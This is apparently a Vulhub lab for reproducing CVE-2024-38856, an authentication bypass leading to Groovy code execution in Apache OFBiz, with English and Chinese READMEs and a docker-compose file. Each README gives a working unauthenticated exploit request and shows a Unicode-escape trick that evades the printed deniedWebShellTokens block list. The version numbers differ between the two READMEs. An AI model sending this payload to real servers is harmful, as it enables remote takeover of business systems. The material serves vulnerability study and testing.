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# Apache OFBiz Authentication Bypass Leads to RCE (CVE-2024-38856)
[中文版本(Chinese version)](README.zh-cn.md)
Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
This vulnerability occurs as a result of incomplete fixing for [CVE-2023-51467](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-51467). In Apache OFBiz version 18.12.11, the developers believe they have fixed the vulnerability, but in reality, they have only addressed one method of exploiting it. The Groovy expression injection still exists and allows unauthorized users to execute arbitrary commands on the server.
References:
- <https://github.com/apache/ofbiz-framework/commit/31d8d7>
- <https://forum.butian.net/article/524>
- <https://github.com/Praison001/CVE-2024-38856-ApacheOfBiz>
## Vulnerable environment
Executing following command to start an Apache OfBiz 18.12.14 server:
```
docker compose up
```
After a short wait, you can see the login page at `https://localhost:8443/accounting`.
## Vulnerability Reproduce
Send following request to execute command `id` by Groovy script:
```
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Length: 190
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Disposition: form-data; name="groovyProgram"
throw new Exception('id'.\u0065xecute().text);
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ--
```
![](1.png)
Noted that Apache Ofbiz restricts the use of the following keywords, but we can bypass this restriction using Unicode characters like `\u0065xecute`.
```
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
execute,println,calc,touch,calculate
```

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# Apache OFBiz 身份验证绕过导致远程代码执行 (CVE-2024-38856)
Apache OFBiz 是一个开源的企业资源规划ERP系统。它提供了一套企业应用程序用于集成和自动化企业的许多业务流程。
这个漏洞是由于对 [CVE-2023-51467](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-51467) 的不完全修复而产生的。在 Apache OFBiz 18.12.11 版本中开发人员认为他们已经修复了该漏洞但实际上他们只解决了其中一种利用方法。Groovy 表达式注入仍然存在,允许未经授权的用户在服务器上执行任意命令。
References:
- <https://github.com/apache/ofbiz-framework/commit/31d8d7>
- <https://forum.butian.net/article/524>
- <https://github.com/Praison001/CVE-2024-38856-ApacheOfBiz>
## 漏洞环境
执行如下命令启动一个Apache OfBiz 18.12.10服务器:
```
docker compose up -d
```
在等待数分钟后,访问`https://localhost:8443/accounting`查看到登录页面,说明环境已启动成功。
## 漏洞复现
直接发送如下请求即可使用Groovy脚本执行`id`命令:
```
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Length: 190
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Disposition: form-data; name="groovyProgram"
throw new Exception('id'.\u0065xecute().text);
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ--
```
![](1.png)
值得注意的是Apache Ofbiz限制了如下一些关键词的使用我们可以通过Unicode编码来绕过这个限制比如`\u0065xecute`
```
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
execute,println,calc,touch,calculate
```

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services:
web:
image: vulhub/ofbiz:18.12.14
ports:
- "8443:8443"
- "5005:5005"